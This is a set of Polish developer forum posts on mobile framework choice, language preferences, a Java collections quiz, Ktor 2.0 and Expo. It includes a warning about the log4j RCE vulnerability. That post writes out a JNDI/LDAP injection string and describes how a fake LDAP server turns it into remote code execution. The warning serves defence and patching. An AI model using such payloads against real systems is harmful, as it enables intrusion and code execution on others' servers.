Planowane jest wytwarzanie i rozwój aplikacji mobilnych w firmie na przestrzeni następnych 3 do 5 lat.
Spośród najpopularniejszych technologi jakie są obecnie czyli, kotlin, swift, react native, PWA, flutter, to jakim cudem mamy postawić własnie na ten ostatni?
Jest spora obawa o to że, google uśmierci tą technologie jak wiele ze swoich projektów.
Ja bym chętnie popisał w darcie i flutterze, ale rodzinie bym nie doradził :)
Ciekawa jest konkurencja w technologiach mobilnych i ciekawe jest to jak reputacja firmy może mieć wpływ na postrzeganie technologii.
@Garen_eye: świetnie, nie jestem osobą finalnie decyzyjną, ale dzięki temu wątkowi, oraz researchowi przez pare ostatnich tygodnii,raczej będe optował za react native. Ciekawe że każdy developer RN jest bardzo zadowolony z developmentu
Mam ostatnio przyjemność pisać w różnych technologiach. Najwięcej w typescript oraz kotlinie, ale sporo pisze też w php i javie.
Życie jest piękne, można testować różne technologie i mieć porównanie co ma fajniejsze ficzerki.
W Typescript pisze mi się najlepiej i ten język wydaje się świetnym balansem pomiędzy programistycznym światem.
Na drugim miejscu jest dla mnie kotlin. Piękny funkcyjny język oparty o obiektową jave. Na początku myśalałem że to nie ma sensu, ale zakochałem się.
Najgorzej wychodzi PHP jak na razie. Mimo wspaniałego frameworku jakim jest Symfony, mam wrażenie, że taki kotlin wyprzedza go mocno.
@hauleth nie twierdzę, że jest trudny w jakimś absolutnym sensie, tylko że człowiek patrzy na to wszystko i nic się nie rozumie na pierwszy rzut oka. Nie jest to język przyjazny dla osób początkujących, którzy znają inne (mainstreamowe) języki programowania i chcą się nauczyć czegoś nowego. To nie jest język taki, że siadasz i w godzinę robisz już proste programiki. Żeby zrobić byle Hello World w Haskellu, to trzeba poznać monady. To też jest dodatkowy narzut do nauki. Nie to, żebym narzekał, tylko chodzi o stwierdzenie, że nie jest to język przyjazny dla nowicjuszy.
@hauleth: "Jasiu, podkreśl wężykiem, że to jest dowcip." vide: https://m.youtube.com/watch?v=z4dMWaI6MBY
Specjalnie dla javowców (i innych dziwnych ludzi używających java.util.collection
)
Włączacie video poniżej.
Zatrzymujecie sobie na czas zagadek i staracie się odpowiedzieć, bez zaglądania do dokumentacji i sprawdzania w IDE.
Jak macie więcej niż 40% błędnych odpowiedzi to zakaz korzystania z java.util.*
, Zresztą, wyjdzie wam to na dobre.
Możecie przećwiczyć w pracy na kolegach/koleżankach - zróbcie sobie sesje z tym wideo.
The Java Collections Framework is the most widely used API – probably in your application too. You use it all the time, but do you really know your way aroun...
https://www.youtube.com/watch?v=w6hhjg_gt_MNo i aplikacje też. Pamiętacie, jak odtwarzacze MP3 z czasem ewoluowały w odtwarzacze wszystkiego z opcją wypalania płyt? ;)
@jarekr000000: kazda dlugo zyjaca rzecz ma ten sam problem ;). @wartek01: chyba przespalem ten moment, zatrzymalem sie na tym ze mp4 i filmy szlo ogladac :D
Dzień dobry, jak już ktoś rano wstanie do pracy, to niech zacznie dzień od przejrzenia dependów we wszystkich swoich projektach i trybie powiedziałbym pilnym bumpnie wersję log4j o ile używa do 2.15+. Warto też powiadomić inne zespoły, tak na wszelki wypadek. Opisałem na Twitterku więcej o tym RCE, to nie ma sensu przepisywać drugi raz:
TL;DR Jeżeli tak, to macie prawdopodobnie solidne RCE które można napisać w jakiś 3 linijkach (np. fake serwer LDAP z klasą z exploitem) wysyłając do waszej usługi wiadomość z adresem do tego serwera XD Coś w stylu:
logger.info("${jndi:ldap://127.0.0.1:1389/whatever}");
Teraz wystarczy że ten placeholder w jakiś sposób trafi do waszych logów od strony usera (wiadomości/niepoprawny input/wyjątki/adresy) i tak właściwie, to właśnie wszedł Wam do systemu.
Tymczasem pozostaje mi życzyć spokojnego piątku :)
https://twitter.com/yazicivo/status/1469393075768373255 potwierdzone, że bumpnięta Java neguje tylko te najprostsze konkretne ataki, ale dalej jest podatna na RCE wrzucane w innej postaci.
Jeżeli ktoś czasem jeszcze w ogóle bawi się czymkolwiek innym niż Spring, to właśnie w ramach Kotlinowego wydarzenia podsumowano zmiany wersji 2.0 Ktora.
Osoby, które miały kontakt z Ktorem wiedzą pewnie, że poza oznaczaniem wszystkiego co sie da przez @KtorExperimentalAPI
, to udostępnione API było... ezgotyczne, nie mówiąc głupie ( ͡° ͜ʖ ͡°)
Posłuchali i zrobili solidny cleanup, miejscami upraszczając (Ktor ma tendencję do wystawiania w zwykłym "API" dziwnych internalsów), a w większości przede wszystkim zwiększając spójność całego ekosystemu - nie tylko same sources, ale budowa miejsca dla pluginów (już nie featurów), templatek, generatorów, docsów [...] O masie bug fixów i kilkadziesieciu nowyh pluginach z kolejnymi bugami raczej nie trzeba wspominać, bo to naturalne dla nowego majora.
Cała prezka:
The recording brought to you by American Express. https://americanexpress.io/kotlin-jobsIn this talk we’re going to cover some of the new things that come in...
https://www.youtube.com/watch?v=mye9NjvxVSUNie mam czasu tego teraz obejrzeć - ale zgaduje, że nadal API bazuje na korutynach (jak ja tego nie cierpie...). Korutyny mogłyby sobie być na wysokopoziomowym API jako opcja.
Jeżeli miałyby być na wyższym poziomie, to lepiej żeby ich nie było w ogóle imo - tak jak w sumie kiedyś coś tam pisaliśmy na ten temat odnośnie tego, dlaczego to tak właściwie nie działa za dobrze. No i nie oszukujmy się, pewnie Ktor to dla nich playground do testowania tego xD
@Artur Koder: Rzadko kiedy potrzebujemy ejectować tak na dobrą sprawę - wszystkie libki już wspierają Expo (naprawdę!). Jak potrzebujemy natywnego kodu to piszemy w Expo Modules bo jest prościej (https://docs.expo.dev/modules/native-module-tutorial/). Jedynie często są problemy z Expo Go - ale wtedy wystarczy po prostu lokalnie sobie kompilować builda za pomocą
expo run:ios
/expo run:android
co w expo i tak jest szybsze niż w bare workflow :PDo tego odchodzi całe CI (bitrise, appcenter etc.) bo expo EAS robi to automatycznie.
No bajka, nie zmyślam.